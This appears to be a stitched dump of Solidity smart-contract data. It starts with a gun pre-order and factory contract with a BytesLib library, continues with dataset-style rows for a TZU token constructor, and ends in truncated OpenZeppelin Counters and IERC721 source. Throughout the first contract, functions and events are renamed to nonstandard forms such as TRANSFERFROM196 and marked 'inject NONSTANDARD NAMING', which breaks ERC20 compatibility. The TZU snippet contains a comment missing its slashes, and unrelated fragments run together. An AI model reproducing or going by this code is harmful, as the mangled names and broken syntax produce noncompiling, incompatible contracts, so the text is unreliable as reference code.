function ALLOWANCE798(address owner, address spender) //inject NONSTANDARD NAMING public view returns (uint256); function TRANSFERFROM196(address from, address to, uint256 value) //inject NONSTANDARD NAMING public returns (bool); function APPROVE594(address spender, uint256 value) public returns (bool); //inject NONSTANDARD NAMING event APPROVAL578( //inject NONSTANDARD NAMING address indexed owner, address indexed spender, uint256 value ); } contract BurnableToken is ERC20 { event BURN595(address indexed burner, uint256 value); //inject NONSTANDARD NAMING function BURN840(uint256 _value) public; //inject NONSTANDARD NAMING } contract StandardBurnableToken is BurnableToken { function BURNFROM813(address _from, uint256 _value) public; //inject NONSTANDARD NAMING } interface BZNFeed { function CONVERT77(uint256 usd) external view returns (uint256); //inject NONSTANDARD NAMING } contract SimpleBZNFeed is BZNFeed, Ownable { uint256 private conversion; function UPDATECONVERSION150(uint256 conversionRate) public ONLYOWNER845 { //inject NONSTANDARD NAMING conversion = conversionRate; } function CONVERT77(uint256 usd) external view returns (uint256) { //inject NONSTANDARD NAMING return usd * conversion; } } interface IDSValue { function PEEK123() external view returns (bytes32, bool); //inject NONSTANDARD NAMING function READ988() external view returns (bytes32); //inject NONSTANDARD NAMING function POKE435(bytes32 wut) external; //inject NONSTANDARD NAMING function VOID212() external; //inject NONSTANDARD NAMING } library BytesLib { function CONCAT154( //inject NONSTANDARD NAMING bytes memory _preBytes, bytes memory _postBytes ) internal pure returns (bytes memory) { bytes memory tempBytes; assembly { // Get a location of some free memory and store it in tempBytes as // Solidity does for memory variables. tempBytes := mload(0x40) // Store the length of the first bytes array at the beginning of // the memory for tempBytes. let length := mload(_preBytes) mstore(tempBytes, length) // Maintain a memory counter for the current write location in the // temp bytes array by adding the 32 bytes for the array length to // the starting location. let mc := add(tempBytes, 0x20) // Stop copying when the memory counter reaches the length of the // first bytes array. let end := add(mc, length) for { // Initialize a copy counter to the start of the _preBytes data, // 32 bytes into its memory. let cc := add(_preBytes, 0x20) } lt(mc, end) { // Increase both counters by 32 bytes each iteration. mc := add(mc, 0x20) cc := add(cc, 0x20) } { // Write the _preBytes data into the tempBytes memory 32 bytes // at a time. mstore(mc, mload(cc)) } // Add the length of _postBytes to the current length of tempBytes // and store it as the new length in the first 32 bytes of the // tempBytes memory. length := mload(_postBytes) mstore(tempBytes, add(length, mload(tempBytes))) // Move the memory counter back from a multiple of 0x20 to the // actual end of the _preBytes data. mc := end // Stop copying when the memory counter reaches the new combined // length of the arrays. end := add(mc, length) for { let cc := add(_postBytes, 0x20) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } // Update the free-memory pointer by padding our last write location // to 32 bytes: add 31 bytes to the end of tempBytes to move to the // next 32 byte block, then round down to the nearest multiple of // 32. If the sum of the length of the two arrays is zero then add // one before rounding down to leave a blank 32 bytes (the length block with 0). mstore(0x40, and( add(add(end, iszero(add(length, mload(_preBytes)))), 31), not(31) // Round down to the nearest 32 bytes. )) } return tempBytes; } function CONCATSTORAGE572(bytes storage _preBytes, bytes memory _postBytes) internal { //inject NONSTANDARD NAMING assembly { // Read the first 32 bytes of _preBytes storage, which is the length // of the array. (We don't need to use the offset into the slot // because arrays use the entire slot.) let fslot := sload(_preBytes_slot) // Arrays of 31 bytes or less have an even value in their slot, // while longer arrays have an odd value. The actual length is // the slot divided by two for odd values, and the lowest order // byte divided by two for even values. // If the slot is even, bitwise and the slot with 255 and divide by // two to get the length. If the slot is odd, bitwise and the slot // with -1 and divide by two. let slength := div(and(fslot, sub(mul(0x100, iszero(and(fslot, 1))), 1)), 2) let mlength := mload(_postBytes) let newlength := add(slength, mlength) // slength can contain both the length and contents of the array // if length < 32 bytes so let's prepare for that // v. http://solidity.readthedocs.io/en/latest/miscellaneous.html#layout-of-state-variables-in-storage switch add(lt(slength, 32), lt(newlength, 32)) case 2 { // Since the new array still fits in the slot, we just need to // update the contents of the slot. // uint256(bytes_storage) = uint256(bytes_storage) + uint256(bytes_memory) + new_length sstore( _preBytes_slot, // all the modifications to the slot are inside this // next block add( // we can just add to the slot contents because the // bytes we want to change are the LSBs fslot, add( mul( div( // load the bytes from memory mload(add(_postBytes, 0x20)), // zero all bytes to the right exp(0x100, sub(32, mlength)) ), // and now shift left the number of bytes to // leave space for the length in the slot exp(0x100, sub(32, newlength)) ), // increase length by the double of the memory // bytes length mul(mlength, 2) ) ) ) } case 1 { // The stored value fits in the slot, but the combined value // will exceed it. // get the keccak hash to get the contents of the array mstore(0x0, _preBytes_slot) let sc := add(keccak256(0x0, 0x20), div(slength, 32)) // save new length sstore(_preBytes_slot, add(mul(newlength, 2), 1)) // The contents of the _postBytes array start 32 bytes into // the structure. Our first read should obtain the `submod` // bytes that can fit into the unused space in the last word // of the stored array. To get this, we read 32 bytes starting // from `submod`, so the data we read overlaps with the array // contents by `submod` bytes. Masking the lowest-order // `submod` bytes allows us to add that value directly to the // stored value. let submod := sub(32, slength) let mc := add(_postBytes, submod) let end := add(_postBytes, mlength) let mask := sub(exp(0x100, submod), 1) sstore( sc, add( and( fslot, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00 ), and(mload(mc), mask) ) ) for { mc := add(mc, 0x20) sc := add(sc, 1) } lt(mc, end) { sc := add(sc, 1) mc := add(mc, 0x20) } { sstore(sc, mload(mc)) } mask := exp(0x100, sub(mc, end)) sstore(sc, mul(div(mload(mc), mask), mask)) } default { // get the keccak hash to get the contents of the array mstore(0x0, _preBytes_slot) // Start copying to the last used word of the stored array. let sc := add(keccak256(0x0, 0x20), div(slength, 32)) // save new length sstore(_preBytes_slot, add(mul(newlength, 2), 1)) // Copy over the first `submod` bytes of the new data as in // case 1 above. let slengthmod := mod(slength, 32) let mlengthmod := mod(mlength, 32) let submod := sub(32, slengthmod) let mc := add(_postBytes, submod) let end := add(_postBytes, mlength) let mask := sub(exp(0x100, submod), 1) sstore(sc, add(sload(sc), and(mload(mc), mask))) for { sc := add(sc, 1) mc := add(mc, 0x20) } lt(mc, end) { sc := add(sc, 1) mc := add(mc, 0x20) } { sstore(sc, mload(mc)) } mask := exp(0x100, sub(mc, end)) sstore(sc, mul(div(mload(mc), mask), mask)) } } } function SLICE625( //inject NONSTANDARD NAMING bytes memory _bytes, uint _start, uint _length ) internal pure returns (bytes memory) { require(_bytes.length >= (_start + _length)); bytes memory tempBytes; assembly { switch iszero(_length) case 0 { // Get a location of some free memory and store it in tempBytes as // Solidity does for memory variables. tempBytes := mload(0x40) // The first word of the slice result is potentially a partial // word read from the original array. To read it, we calculate // the length of that partial word and start copying that many // bytes into the array. The first word we copy will start with // data we don't care about, but the last `lengthmod` bytes will // land at the beginning of the contents of the new array. When // we're done copying, we overwrite the full first word with // the actual length of the slice. let lengthmod := and(_length, 31) // The multiplication in the next line is necessary // because when slicing multiples of 32 bytes (lengthmod == 0) // the following copy loop was copying the origin's length // and then ending prematurely not copying everything it should. let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod))) let end := add(mc, _length) for { // The multiplication in the next line has the same exact purpose // as the one above. let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } mstore(tempBytes, _length) //update free-memory pointer //allocating the array padded to 32 bytes like the compiler does now mstore(0x40, and(add(mc, 31), not(31))) } //if we want a zero-length slice let's just return a zero-length array default { tempBytes := mload(0x40) mstore(0x40, add(tempBytes, 0x20)) } } return tempBytes; } function TOADDRESS210(bytes memory _bytes, uint _start) internal pure returns (address) { //inject NONSTANDARD NAMING require(_bytes.length >= (_start + 20)); address tempAddress; assembly { tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000) } return tempAddress; } function TOUINT8119(bytes memory _bytes, uint _start) internal pure returns (uint8) { //inject NONSTANDARD NAMING require(_bytes.length >= (_start + 1)); uint8 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x1), _start)) } return tempUint; } function TOUINT16152(bytes memory _bytes, uint _start) internal pure returns (uint16) { //inject NONSTANDARD NAMING require(_bytes.length >= (_start + 2)); uint16 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x2), _start)) } return tempUint; } function TOUINT32393(bytes memory _bytes, uint _start) internal pure returns (uint32) { //inject NONSTANDARD NAMING require(_bytes.length >= (_start + 4)); uint32 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x4), _start)) } return tempUint; } function TOUINT64646(bytes memory _bytes, uint _start) internal pure returns (uint64) { //inject NONSTANDARD NAMING require(_bytes.length >= (_start + 8)); uint64 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x8), _start)) } return tempUint; } function TOUINT96427(bytes memory _bytes, uint _start) internal pure returns (uint96) { //inject NONSTANDARD NAMING require(_bytes.length >= (_start + 12)); uint96 tempUint; assembly { tempUint := mload(add(add(_bytes, 0xc), _start)) } return tempUint; } function TOUINT12878(bytes memory _bytes, uint _start) internal pure returns (uint128) { //inject NONSTANDARD NAMING require(_bytes.length >= (_start + 16)); uint128 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x10), _start)) } return tempUint; } function TOUINT505(bytes memory _bytes, uint _start) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(_bytes.length >= (_start + 32)); uint256 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x20), _start)) } return tempUint; } function TOBYTES32154(bytes memory _bytes, uint _start) internal pure returns (bytes32) { //inject NONSTANDARD NAMING require(_bytes.length >= (_start + 32)); bytes32 tempBytes32; assembly { tempBytes32 := mload(add(add(_bytes, 0x20), _start)) } return tempBytes32; } function EQUAL770(bytes memory _preBytes, bytes memory _postBytes) internal pure returns (bool) { //inject NONSTANDARD NAMING bool success = true; assembly { let length := mload(_preBytes) // if lengths don't match the arrays are not equal switch eq(length, mload(_postBytes)) case 1 { // cb is a circuit breaker in the for loop since there's // no said feature for inline assembly loops // cb = 1 - don't breaker // cb = 0 - break let cb := 1 let mc := add(_preBytes, 0x20) let end := add(mc, length) for { let cc := add(_postBytes, 0x20) // the next line is the loop condition: // while(uint(mc < end) + cb == 2) } eq(add(lt(mc, end), cb), 2) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { // if any of these checks fails then arrays are not equal if iszero(eq(mload(mc), mload(cc))) { // unsuccess: success := 0 cb := 0 } } } default { // unsuccess: success := 0 } } return success; } function EQUALSTORAGE902( //inject NONSTANDARD NAMING bytes storage _preBytes, bytes memory _postBytes ) internal view returns (bool) { bool success = true; assembly { // we know _preBytes_offset is 0 let fslot := sload(_preBytes_slot) // Decode the length of the stored array like in concatStorage(). let slength := div(and(fslot, sub(mul(0x100, iszero(and(fslot, 1))), 1)), 2) let mlength := mload(_postBytes) // if lengths don't match the arrays are not equal switch eq(slength, mlength) case 1 { // slength can contain both the length and contents of the array // if length < 32 bytes so let's prepare for that // v. http://solidity.readthedocs.io/en/latest/miscellaneous.html#layout-of-state-variables-in-storage if iszero(iszero(slength)) { switch lt(slength, 32) case 1 { // blank the last byte which is the length fslot := mul(div(fslot, 0x100), 0x100) if iszero(eq(fslot, mload(add(_postBytes, 0x20)))) { // unsuccess: success := 0 } } default { // cb is a circuit breaker in the for loop since there's // no said feature for inline assembly loops // cb = 1 - don't breaker // cb = 0 - break let cb := 1 // get the keccak hash to get the contents of the array mstore(0x0, _preBytes_slot) let sc := keccak256(0x0, 0x20) let mc := add(_postBytes, 0x20) let end := add(mc, mlength) // the next line is the loop condition: // while(uint(mc < end) + cb == 2) for {} eq(add(lt(mc, end), cb), 2) { sc := add(sc, 1) mc := add(mc, 0x20) } { if iszero(eq(sload(sc), mload(mc))) { // unsuccess: success := 0 cb := 0 } } } } } default { // unsuccess: success := 0 } } return success; } } contract GunPreOrder is Ownable, ApproveAndCallFallBack { using BytesLib for bytes; using SafeMath for uint256; //Event for when a bulk buy order has been placed event CONSUMERBULKBUY355(uint8 category, uint256 quanity, address reserver); //inject NONSTANDARD NAMING //Event for when a gun has been bought event GUNSBOUGHT917(uint256 gunId, address owner, uint8 category); //inject NONSTANDARD NAMING //Event for when ether is taken out of this contract event WITHDRAWAL910(uint256 amount); //inject NONSTANDARD NAMING //Default referal commision percent uint256 public constant commission_percent82 = 5; //inject NONSTANDARD NAMING //Whether category is open mapping(uint8 => bool) public categoryExists; mapping(uint8 => bool) public categoryOpen; mapping(uint8 => bool) public categoryKilled; //The additional referal commision percent for any given referal address (default is 0) mapping(address => uint256) internal commissionRate; //How many guns in a given category an address has reserved mapping(uint8 => mapping(address => uint256)) public categoryReserveAmount; //Opensea buy address address internal constant opensea308 = 0x5b3256965e7C3cF26E11FCAf296DfC8807C01073; //inject NONSTANDARD NAMING //The percent increase and percent base for a given category mapping(uint8 => uint256) public categoryPercentIncrease; mapping(uint8 => uint256) public categoryPercentBase; //Price of a givevn category in USD WEI mapping(uint8 => uint256) public categoryPrice; //The percent of ether required for buying in BZN mapping(uint8 => uint256) public requiredEtherPercent; mapping(uint8 => uint256) public requiredEtherPercentBase; bool public allowCreateCategory = true; //The gun token contract GunToken public token; //The gun factory contract GunFactory internal factory; //The BZN contract StandardBurnableToken internal bzn; //The Maker ETH/USD price feed IDSValue public ethFeed; BZNFeed public bznFeed; //The gamepool address address internal gamePool; //Require the skinned/regular shop to be opened modifier ENSURESHOPOPEN328(uint8 category) { //inject NONSTANDARD NAMING require(categoryExists[category], "Category doesn't exist!"); require(categoryOpen[category], "Category is not open!"); _; } //Allow a function to accept ETH payment modifier PAYINETH352(address referal, uint8 category, address new_owner, uint16 quanity) { //inject NONSTANDARD NAMING uint256 usdPrice; uint256 totalPrice; (usdPrice, totalPrice) = PRICEFOR73(category, quanity); require(usdPrice > 0, "Price not yet set"); categoryPrice[category] = usdPrice; //Save last price uint256 price = CONVERT77(totalPrice, false); require(msg.value >= price, "Not enough Ether sent!"); _; if (msg.value > price) { uint256 change = msg.value - price; msg.sender.transfer(change); } if (referal != address(0)) { require(referal != msg.sender, "The referal cannot be the sender"); require(referal != tx.origin, "The referal cannot be the tranaction origin"); require(referal != new_owner, "The referal cannot be the new owner"); //The commissionRate map adds any partner bonuses, or 0 if a normal user referral uint256 totalCommision = commission_percent82 + commissionRate[referal]; uint256 commision = (price * totalCommision) / 100; address payable _referal = address(uint160(referal)); _referal.transfer(commision); } } //Allow function to accept BZN payment modifier PAYINBZN388(address referal, uint8 category, address payable new_owner, uint16 quanity) { //inject NONSTANDARD NAMING uint256[] memory prices = new uint256[](4); //Hack to work around local var limit (usdPrice, bznPrice, commision, totalPrice) (prices[0], prices[3]) = PRICEFOR73(category, quanity); require(prices[0] > 0, "Price not yet set"); categoryPrice[category] = prices[0]; prices[1] = CONVERT77(prices[3], true); //Convert the totalPrice to BZN //The commissionRate map adds any partner bonuses, or 0 if a normal user referral if (referal != address(0)) { prices[2] = (prices[1] * (commission_percent82 + commissionRate[referal])) / 100; } uint256 requiredEther = (CONVERT77(prices[3], false) * requiredEtherPercent[category]) / requiredEtherPercentBase[category]; require(msg.value >= requiredEther, "Buying with BZN requires some Ether!"); bzn.BURNFROM813(new_owner, (((prices[1] - prices[2]) * 30) / 100)); bzn.TRANSFERFROM196(new_owner, gamePool, prices[1] - prices[2] - (((prices[1] - prices[2]) * 30) / 100)); _; if (msg.value > requiredEther) { new_owner.transfer(msg.value - requiredEther); } if (referal != address(0)) { require(referal != msg.sender, "The referal cannot be the sender"); require(referal != tx.origin, "The referal cannot be the tranaction origin"); require(referal != new_owner, "The referal cannot be the new owner"); bzn.TRANSFERFROM196(new_owner, referal, prices[2]); prices[2] = (requiredEther * (commission_percent82 + commissionRate[referal])) / 100; address payable _referal = address(uint160(referal)); _referal.transfer(prices[2]); } } //Constructor constructor( address tokenAddress, address tokenFactory, address gp, address isd, address bzn_address ) public { token = GunToken(tokenAddress); factory = GunFactory(tokenFactory); ethFeed = IDSValue(isd); bzn = StandardBurnableToken(bzn_address); gamePool = gp; //Set percent increases categoryPercentIncrease[1] = 100035; categoryPercentBase[1] = 100000; categoryPercentIncrease[2] = 100025; categoryPercentBase[2] = 100000; categoryPercentIncrease[3] = 100015; categoryPercentBase[3] = 100000; commissionRate[opensea308] = 10; } function CREATECATEGORY817(uint8 category) public ONLYOWNER845 { //inject NONSTANDARD NAMING require(allowCreateCategory); categoryExists[category] = true; } function DISABLECREATECATEGORIES112() public ONLYOWNER845 { //inject NONSTANDARD NAMING allowCreateCategory = false; } //Set the referal commision rate for an address function SETCOMMISSION914(address referral, uint256 percent) public ONLYOWNER845 { //inject NONSTANDARD NAMING require(percent > commission_percent82); require(percent < 95); percent = percent - commission_percent82; commissionRate[referral] = percent; } //Set the price increase/base for skinned or regular guns function SETPERCENTINCREASE775(uint256 increase, uint256 base, uint8 category) public ONLYOWNER845 { //inject NONSTANDARD NAMING require(increase > base); categoryPercentIncrease[category] = increase; categoryPercentBase[category] = base; } function SETETHERPERCENT411(uint256 percent, uint256 base, uint8 category) public ONLYOWNER845 { //inject NONSTANDARD NAMING requiredEtherPercent[category] = percent; requiredEtherPercentBase[category] = base; } function KILLCATEGORY428(uint8 category) public ONLYOWNER845 { //inject NONSTANDARD NAMING require(!categoryKilled[category]); categoryOpen[category] = false; categoryKilled[category] = true; } //Open/Close the skinned or regular guns shop function SETSHOPSTATE191(uint8 category, bool open) public ONLYOWNER845 { //inject NONSTANDARD NAMING require(category == 1 || category == 2 || category == 3); require(!categoryKilled[category]); require(categoryExists[category]); categoryOpen[category] = open; } function SETPRICE360(uint8 category, uint256 price, bool inWei) public ONLYOWNER845 { //inject NONSTANDARD NAMING uint256 multiply = 1e18; if (inWei) { multiply = 1; } categoryPrice[category] = price * multiply; } function WITHDRAW154(uint256 amount) public ONLYOWNER845 { //inject NONSTANDARD NAMING uint256 balance = address(this).balance; require(amount <= balance, "Requested to much"); address payable _owner = address(uint160(OWNER824())); _owner.transfer(amount); emit WITHDRAWAL910(amount); } function SETBZNFEEDCONTRACT654(address new_bzn_feed) public ONLYOWNER845 { //inject NONSTANDARD NAMING bznFeed = BZNFeed(new_bzn_feed); } //Buy many skinned or regular guns with BZN. This will reserve the amount of guns and allows the new_owner to invoke claimGuns for free function BUYWITHBZN846(address referal, uint8 category, address payable new_owner, uint16 quanity) ENSURESHOPOPEN328(category) PAYINBZN388(referal, category, new_owner, quanity) public payable returns (bool) { //inject NONSTANDARD NAMING factory.MINTFOR528(new_owner, quanity, category); return true; } //Buy many skinned or regular guns with ETH. This will reserve the amount of guns and allows the new_owner to invoke claimGuns for free function BUYWITHETHER108(address referal, uint8 category, address new_owner, uint16 quanity) ENSURESHOPOPEN328(category) PAYINETH352(referal, category, new_owner, quanity) public payable returns (bool) { //inject NONSTANDARD NAMING factory.MINTFOR528(new_owner, quanity, category); return true; } function CONVERT77(uint256 usdValue, bool isBZN) public view returns (uint256) { //inject NONSTANDARD NAMING if (isBZN) { return bznFeed.CONVERT77(usdValue); } else { bool temp; bytes32 aaa; (aaa, temp) = ethFeed.PEEK123(); uint256 priceForEtherInUsdWei = uint256(aaa); return usdValue / (priceForEtherInUsdWei / 1e18); } } function PRICEFOR73(uint8 category, uint16 quanity) public view returns (uint256, uint256) { //inject NONSTANDARD NAMING require(quanity > 0); uint256 percent = categoryPercentIncrease[category]; uint256 base = categoryPercentBase[category]; uint256 currentPrice = categoryPrice[category]; uint256 nextPrice = currentPrice; uint256 totalPrice = 0; //We can't use exponents because we'll overflow quickly //Only for loop :( for (uint i = 0; i < quanity; i++) { nextPrice = (currentPrice * percent) / base; currentPrice = nextPrice; totalPrice += nextPrice; } //Return the next price, as this is the true price return (nextPrice, totalPrice); } //Determine if a tokenId exists (has been sold) function SOLD957(uint256 _tokenId) public view returns (bool) { //inject NONSTANDARD NAMING return token.EXISTS127(_tokenId); } function RECEIVEAPPROVAL438(address from, uint256 tokenAmount, address tokenContract, bytes memory data) public payable returns (bool) { //inject NONSTANDARD NAMING address referal; uint8 category; uint16 quanity; (referal, category, quanity) = abi.decode(data, (address, uint8, uint16)); require(quanity >= 1); address payable _from = address(uint160(from)); BUYWITHBZN846(referal, category, _from, quanity); return true; } } contract GunFactory is Ownable { using strings for *; uint8 public constant premium_category760 = 1; //inject NONSTANDARD NAMING uint8 public constant midgrade_category818 = 2; //inject NONSTANDARD NAMING uint8 public constant regular_category63 = 3; //inject NONSTANDARD NAMING uint256 public constant one_month568 = 2628000; //inject NONSTANDARD NAMING uint256 public mintedGuns = 0; address preOrderAddress; GunToken token; mapping(uint8 => uint256) internal gunsMintedByCategory; mapping(uint8 => uint256) internal totalGunsMintedByCategory; mapping(uint8 => uint256) internal firstMonthLimit; mapping(uint8 => uint256) internal secondMonthLimit; mapping(uint8 => uint256) internal thirdMonthLimit; uint256 internal startTime; mapping(uint8 => uint256) internal currentMonthEnd; uint256 internal monthOneEnd; uint256 internal monthTwoEnd; modifier ONLYPREORDER406 { //inject NONSTANDARD NAMING require(msg.sender == preOrderAddress, "Not authorized"); _; } modifier ISINITIALIZED13 { //inject NONSTANDARD NAMING require(preOrderAddress != address(0), "No linked preorder"); require(address(token) != address(0), "No linked token"); _; } constructor() public { firstMonthLimit[premium_category760] = 5000; firstMonthLimit[midgrade_category818] = 20000; firstMonthLimit[regular_category63] = 30000; secondMonthLimit[premium_category760] = 2500; secondMonthLimit[midgrade_category818] = 10000; secondMonthLimit[regular_category63] = 15000; thirdMonthLimit[premium_category760] = 600; thirdMonthLimit[midgrade_category818] = 3000; thirdMonthLimit[regular_category63] = 6000; startTime = block.timestamp; monthOneEnd = startTime + one_month568; monthTwoEnd = startTime + one_month568 + one_month568; currentMonthEnd[premium_category760] = monthOneEnd; currentMonthEnd[midgrade_category818] = monthOneEnd; currentMonthEnd[regular_category63] = monthOneEnd; } function UINTTOSTRING328(uint v) internal pure returns (string memory) { //inject NONSTANDARD NAMING if (v == 0) { return "0"; } uint j = v; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (v != 0) { bstr[k--] = byte(uint8(48 + v % 10)); v /= 10; } return string(bstr); } function MINTFOR528(address newOwner, uint16 size, uint8 category) public ONLYPREORDER406 ISINITIALIZED13 returns (uint256) { //inject NONSTANDARD NAMING GunPreOrder preOrder = GunPreOrder(preOrderAddress); require(preOrder.categoryExists(category), "Invalid category"); require(!HASREACHEDLIMIT199(category), "The monthly limit has been reached"); token.CLAIMALLOCATION316(newOwner, size, category); mintedGuns++; gunsMintedByCategory[category] = gunsMintedByCategory[category] + 1; totalGunsMintedByCategory[category] = totalGunsMintedByCategory[category] + 1; } function HASREACHEDLIMIT199(uint8 category) internal returns (bool) { //inject NONSTANDARD NAMING uint256 currentTime = block.timestamp; uint256 limit = CURRENTLIMIT394(category); uint256 monthEnd = currentMonthEnd[category]; //If the current block time is greater than or equal to the end of the month if (currentTime >= monthEnd) { //It's a new month, reset all limits //gunsMintedByCategory[PREMIUM_CATEGORY] = 0; //gunsMintedByCategory[MIDGRADE_CATEGORY] = 0; //gunsMintedByCategory[REGULAR_CATEGORY] = 0; gunsMintedByCategory[category] = 0; //Set next month end to be equal one month in advance //do this while the current time is greater than the next month end while (currentTime >= monthEnd) { monthEnd = monthEnd + one_month568; } //Finally, update the limit limit = CURRENTLIMIT394(category); currentMonthEnd[category] = monthEnd; } //Check if the limit has been reached return gunsMintedByCategory[category] >= limit; } function REACHEDLIMIT389(uint8 category) public view returns (bool) { //inject NONSTANDARD NAMING uint256 limit = CURRENTLIMIT394(category); return gunsMintedByCategory[category] >= limit; } function CURRENTLIMIT394(uint8 category) public view returns (uint256) { //inject NONSTANDARD NAMING uint256 currentTime = block.timestamp; uint256 limit; if (currentTime < monthOneEnd) { limit = firstMonthLimit[category]; } else if (currentTime < monthTwoEnd) { limit = secondMonthLimit[category]; } else { limit = thirdMonthLimit[category]; } return limit; } function SETCATEGORYLIMIT220(uint8 category, uint256 firstLimit, uint256 secondLimit, uint256 thirdLimit) public ONLYOWNER845 { //inject NONSTANDARD NAMING require(firstMonthLimit[category] == 0); require(secondMonthLimit[category] == 0); require(thirdMonthLimit[category] == 0); firstMonthLimit[category] = firstLimit; secondMonthLimit[category] = secondLimit; thirdMonthLimit[category] = thirdLimit; } function ATTACHPREORDER925(address dst) public ONLYOWNER845 { //inject NONSTANDARD NAMING require(preOrderAddress == address(0)); require(dst != address(0)); //Enforce that address is indeed a preorder GunPreOrder preOrder = GunPreOrder(dst); preOrderAddress = address(preOrder); } function ATTACHTOKEN953(address dst) public ONLYOWNER845 { //inject NONSTANDARD NAMING require(address(token) == address(0)); require(dst != address(0)); //Enforce that address is indeed a preorder GunToken ct = GunToken(dst); token = ct; } }
inject NONSTANDARD NAMING
function MIGRATEBATCH628(uint256 index) public ONLYOWNER845 returns (uint256) {
6,431,886
./full_match/1/0x4398ee3a192dA8Fb387ebd1948887849A1e66dBF/sources/TZU.sol
exclude from paying fees or having max transaction amount
constructor() ERC20("TZU", "TZU") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 3; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 1; uint256 _sellMarketingFee = 5; uint256 _sellLiquidityFee = 0; uint256 _sellDevFee = 3; uint256 totalSupply = 1_000_000_000 * 1e18; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, totalSupply);
9,728,216
// File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function 